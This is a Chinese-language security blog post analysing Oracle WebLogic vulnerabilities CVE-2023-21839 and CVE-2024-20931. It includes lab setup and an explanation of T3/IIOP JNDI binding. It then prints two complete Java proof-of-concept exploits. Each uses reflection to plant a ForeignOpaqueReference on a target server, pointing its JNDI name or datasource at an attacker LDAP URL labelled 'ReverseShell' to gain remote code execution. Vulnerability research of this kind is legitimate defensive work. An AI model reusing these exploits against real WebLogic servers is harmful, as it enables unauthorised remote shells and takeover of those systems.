weblogic CVE-2024-20931分析

weblogic 12.2.1.4.0安裝

我的環境:ubuntu 22.04 + weblogic 12.2.1.4.0 + jdk8(注:weblogic不支持OpenJDK)
jdk下載安裝:https://www.oracle.com/cn/java/technologies/downloads/archive/
weblogic下載安裝:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

JDK安裝完成後裝weblogic,簡單配置賬號密碼等,一路下一步即可。

poc依賴包

wlfullclient.jar 包含了與 WebLogic Server 實例交互所需的客戶端庫。這些庫提供了連接到 WebLogic Server、執行各種操作以及訪問資源(如 JNDI、JMS、JDBC 等)所需的 API 和類。使用 wlfullclient.jar 文件時,通常需要將其包含在 Java 項目的類路徑中。這樣,您的應用程序就可以訪問 WebLogic Server 客戶端 API,並利用 WebLogic Server 提供的功能。

如何生成wlfullclient.jar?

java -jar /home/vpanda/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar

cd /home/vpanda/Oracle/Middleware/Oracle_Home/wlserver/server/lib/
#生成後在poc的時候作爲client依賴包導入

weblogic遠程debug調試環境

在setDomainEnv.sh添加,開啓遠程調試端口9999

debugFlag=true
DEBUG_PORT=9999

打包wlserver在調試環境導入項目後添加Remote JVM Debug

T3/IIOP協議

WebLogic T3/IIOP(T3 over IIOP)協議是 Oracle WebLogic Server 使用的一種通信協議。它結合了 WebLogic Server 的 T3 協議和 OMG(Object Management Group)定義的 IIOP(Internet Inter-ORB Protocol)協議。

T3 是 WebLogic Server 的專有協議,用於在 WebLogic Server 節點之間進行通信。它提供了高性能、可靠的通信機制,支持各種服務和功能,如遠程方法調用(RMI)、Java Messaging Service(JMS)等。T3 協議是 WebLogic Server 的核心協議,用於實現集羣、負載均衡、故障恢復等關鍵功能。

協議支持遠程綁定對象(Remote Object Binding)到服務端。通過遠程綁定,您可以將一個對象綁定到 WebLogic Server 上的命名服務(Naming Service),使得其他客戶端可以通過名稱來訪問和使用該對象。

WebLogic Server 提供了 JNDI(Java Naming and Directory Interface)作爲命名服務的實現。JNDI 是 Java 平臺的標準 API,用於訪問和管理命名和目錄服務。通過 JNDI,您可以在 WebLogic Server 上創建和管理命名空間,並在其中綁定對象。

要將一個對象綁定到 WebLogic Server 上的命名服務,您需要執行以下步驟:

  1. 在 WebLogic Server 上配置和啓動 JNDI 服務。這可以通過 WebLogic Server 的管理控制檯或配置文件進行設置。
  2. 在客戶端代碼中,創建一個要綁定的對象,並將其綁定到 JNDI 上下文(Context)。您可以使用 Java 的 RMI(Remote Method Invocation)或其他遠程調用機制來實現對象的遠程訪問。
  3. 在客戶端代碼中,通過 JNDI API 獲取到 WebLogic Server 上的 JNDI 上下文。
  4. 在客戶端代碼中,使用 JNDI API 將對象綁定到 JNDI 上下文中的特定名稱。
  5. 在客戶端代碼中,其他客戶端可以通過 JNDI API 在 WebLogic Server 上查找並獲取綁定的對象。

通過這種方式,您可以在 WebLogic Server 上實現對象的遠程綁定,並使得其他客戶端能夠通過名稱來訪問和使用這些對象。這種方式非常適用於分佈式系統和企業應用集成,可以實現跨平臺、跨語言的對象通信和共享。

代碼示例:

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Properties;

public class RemoteBindingExample {
    public static void main(String[] args) {
        try {
            // 設置 WebLogic Server 的連接屬性
            Properties props = new Properties();
            props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
            props.setProperty(Context.PROVIDER_URL, "t3://localhost:7001");

            // 創建 JNDI 上下文
            Context context = new InitialContext(props);

            // 創建要綁定的對象
            MyRemoteObject remoteObject = new MyRemoteObject();

            // 將對象綁定到 JNDI 上下文中的特定名稱
            context.rebind("myObject", remoteObject);

            System.out.println("對象綁定成功!");

            // 關閉 JNDI 上下文
            context.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

CVE-2023-21839

如果我們將remoteObject替換成一個ForeignOpaqueReference對象,由於ForeignOpaqueReference集成自OpaqueReference,進行lookup的時候會調用對象getReferent方法。最終會調用context.lookup(evalMacros(this.remoteJNDIName));

對remoteJNDIName值更改爲ldap遠程執行地址即可實現RCE。

另外加上jndiEnvironment的檢測,所以ForeignOpaqueReference對象綁定時候,對remoteJNDIName值做反射修改即可。

package org.example.CVE202321839;
import weblogic.deployment.jms.ForeignOpaqueReference;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Properties;

public class Main {
    public static void main(String[] args) throws Exception {

        Properties props = new Properties();
        props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
        props.setProperty(Context.PROVIDER_URL, "t3://192.168.131.139:7001");

        Context context = new InitialContext(props);

        ForeignOpaqueReference f = new ForeignOpaqueReference();

        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String ldap = "ldap://xxxxxx:1389/Basic/ReverseShell/xxxx/12345";
        remoteJNDIName.set(f, ldap);

        context.rebind("sectest", f);
        try {
            context.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

CVE-2023-21839補丁限制

補丁對ForeignOpaqueReference的jndiEnvironment和remoteJNDIName都做了限制。

CVE-2024-20931

INITIAL_CONTEXT_FACTORY 是 JNDI API 中的一個常量,用於指定要使用的初始上下文工廠類。它在創建 JNDI 上下文對象時使用,用於指定要使用的上下文工廠類。AQjmsInitialContextFactory在初始化的時候,需要通過JNDI去獲取遠程的DataSource,通過這個初始化也可以發起JNDI注入。

package org.example.CVE202420931;
import weblogic.deployment.jms.ForeignOpaqueReference;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Properties;

public class Main {
    public static void main(String[] args) throws Exception {

        Properties props = new Properties();
        props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
        props.setProperty(Context.PROVIDER_URL, "t3://192.168.131.139:7001");

        Context context = new InitialContext(props);

        Hashtable env2 = new Hashtable();
        env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
        env2.put("datasource", "ldap://xxxxx:1389/Basic/ReverseShell/xxxx/12347");
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);

        context.rebind("sectest", f);
        try {
            context.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

參考鏈接:

1.https://www.oracle.com/security-alerts/cpujan2024verbose.html

2.https://glassyamadeus.github.io/2024/01/31/CVE_2024_20931/

更多關於雲計算與安全內容,請關注公衆號

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章